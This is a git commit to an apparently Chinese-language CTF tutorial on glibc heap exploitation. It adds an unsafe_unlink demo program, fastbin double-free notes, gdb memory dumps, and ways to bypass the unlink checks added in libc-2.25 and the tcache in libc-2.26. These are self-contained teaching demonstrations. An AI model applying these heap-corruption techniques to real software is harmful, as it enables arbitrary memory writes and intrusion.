update 3.3.5_heap_exploit.md

This commit is contained in:
firmianay 2018-01-11 20:27:48 +08:00
parent 7dc80c9097
commit 634f80b2ee
4 changed files with 385 additions and 6 deletions

View File

@ -117,6 +117,8 @@ gef➤ x/5gx 0x602220-0x10
0x602230: 0x0000000000000000
```
所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。
好了,现在我们加上内存检测参数重新编译:
```
$ gcc -fsanitize=address -g first_fit.c
@ -202,7 +204,7 @@ Allocating 3 buffers.
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
```
这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
三个 malloc 之后:
```
@ -274,6 +276,8 @@ gef➤ x/15gx 0x602010-0x10
0x602070: 0x0000000000000000
```
所以对于 fastbins可以通过 double-free 泄漏出一个堆块的指针。
加上内存检测参数重新编译:
```
$ gcc -fsanitize=address -g fastbin_dup.c
@ -435,13 +439,73 @@ gef➤ x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc50: 0x0000000000602030
```
所以对于 fastbins可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
#### unsafe_unlink
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
// deal with tcache
// int *a[10];
// int i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// }
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}
```
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。
```
$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0
Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060
Original value: AAAAAAAA
New Value: BBBBBBBB
```
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。
Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:
```c
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
@ -476,9 +540,139 @@ Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如
} \
}
```
其中存在一个溢出的问题,
而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:
malloc\_size 设置为 0x80可以分配 small chunk然后定义 header_size 为 2。申请两块空间全局指针 `chunk0_ptr` 指向 chunk0局部指针 `chunk1_ptr` 指向 chunk1
```
gef➤ p &chunk0_ptr
$1 = (uint64_t **) 0x601070 <chunk0_ptr>
gef➤ x/gx &chunk0_ptr
0x601070 <chunk0_ptr>: 0x0000000000602010
gef➤ p &chunk1_ptr
$2 = (uint64_t **) 0x7fffffffdc60
gef➤ x/gx &chunk1_ptr
0x7fffffffdc60: 0x00000000006020a0
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
```
接下来要绕过 `(P->fd->bk != P || P->bk->fd != P) == False` 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造 fake chunk 来绕过它:
```
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer
0x601078: 0x0000000000000000
gef➤ x/5gx 0x601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer
0x601080: 0x0000000000000000
```
可以看到,我们在 chunk0 里构造一个 fake chunk用 P 表示,两个指针 fd 和 bk 可以构成两条链:`P->fd->bk == P``P->bk->fd == P`,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 `prev_size` 为 fake chunk 的大小,修改 `PREV_INUSE` 标志位为 0将 fake chunk 伪造成一个 free chunk。
接下来就是释放掉 chunk1这会触发 fake chunk 的 unlink 并覆盖 `chunk0_ptr` 的值。unlink 操作是这样进行的:
```c
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
```
再说简单一点,由于这时候 P->fd->bk 和 P->bk->fd 都指向 P所以最后的结果为
```
chunk0_ptr = P = P->fd
```
成功地修改了 chunk0_ptr这时 `chunk0_ptr``chunk0_ptr[3]` 实际上就是同一东西:
```
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed]
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer
0x601078: 0x0000000000000000
gef➤ x/5gx 0x601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer
0x601080: 0x0000000000000000
gef➤ x/gx chunk0_ptr
0x601058: 0x0000000000000000
gef➤ x/gx chunk0_ptr[3]
0x601058: 0x0000000000000000
```
所以,修改 `chunk0_ptr[3]` 就等于修改 `chunk0_ptr`
```
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3]
0x601078: 0x0000000000000000
gef➤ x/gx chunk0_ptr
0x7fffffffdc70: 0x4141414141414141
```
这时 `chunk0_ptr` 就指向了 victim_string修改它
```
gef➤ x/gx chunk0_ptr
0x7fffffffdc70: 0x4242424242424242
```
成功达成修改任意地址的成就。
最后看一点新的东西libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:
```diff
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
@ -508,6 +702,100 @@ index e29105c372..994a23248e 100644
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
```
具体是这样的:
```c
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Bits to mask off when extracting size */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
回顾一下伪造出来的堆:
```
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
```
这里有三种办法可以绕过该检查:
- 什么都不做。
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0`
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0`
- 设置 `chunk0_ptr[1] = 0x8`
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8`
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8`
- 设置 `chunk0_ptr[1] = 0x80`
- `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80`
- `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80`
好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache这是一种线程缓存机制每个线程默认情况下有 64 个大小递增的 bins每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,`chunk0_ptr` 仍然指向正确的堆地址,而不是之前的 `chunk0_ptr = P = P->fd`。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:
```c
// deal with tcache
int *a[10];
int i;
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
free(a[i]);
}
```
```
gef➤ p &chunk0_ptr
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
gef➤ x/gx 0x555555755070
0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f
gef➤ x/gx 0x00007fffffffdd0f
0x7fffffffdd0f: 0x4242424242424242
```
现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。
加上内存检测参数重新编译,可以看到 heap-buffer-overflow
```
$ gcc -fsanitize=address -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
The victim chunk we are going to corrupt is at 0x60c00000bec0
Fake chunk fd: 0x602218
Fake chunk bk: 0x602220
=================================================================
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
WRITE of size 8 at 0x60c00000beb0 thread T0
#0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
#1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
#0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
#2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
#### house_of_spirit

View File

@ -269,7 +269,7 @@ gef➤ x/20gx 0xafc966564d0-0x10
```
可以看到新分配的 chunk 2填补到了被释放的 chunk 2 的位置上。
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91然后再分配一个 small chunk
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91然后为了避免 free(4) 后该 chunk 被合并进 top chunk需要再分配一个 small chunk
```python
payload = "A"*16
payload += p64(0)

View File

@ -15,6 +15,50 @@ $ checksec -f search
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 3 search
```
64 位程序,开启了 NX 和 Canary。
玩一下,看名字就知道是一个搜索引擎,大概流程是这样的,首先给词库加入一些句子,句子里的单词以空格间隔开,然后可以搜索所有包含某单词的句子,当找到某条句子后,将其打印出来,并询问是否删除。
```
$ ./search
1: Search with a word
2: Index a sentence
3: Quit
2
Enter the sentence size:
10
Enter the sentence:
hello aaaa
Added sentence
1: Search with a word
2: Index a sentence
3: Quit
2
Enter the sentence size:
10
Enter the sentence:
hello bbbb
Added sentence
1: Search with a word
2: Index a sentence
3: Quit
1
Enter the word size:
5
Enter the word:
hello
Found 10: hello bbbb
Delete this sentence (y/n)?
y
Deleted!
Found 10: hello aaaa
Delete this sentence (y/n)?
n
1: Search with a word
2: Index a sentence
3: Quit
3
```
根据经验,这是一道堆利用的题目。
## 题目解析

View File

@ -0,0 +1,47 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
// deal with tcache
// int *a[10];
// int i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// }
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}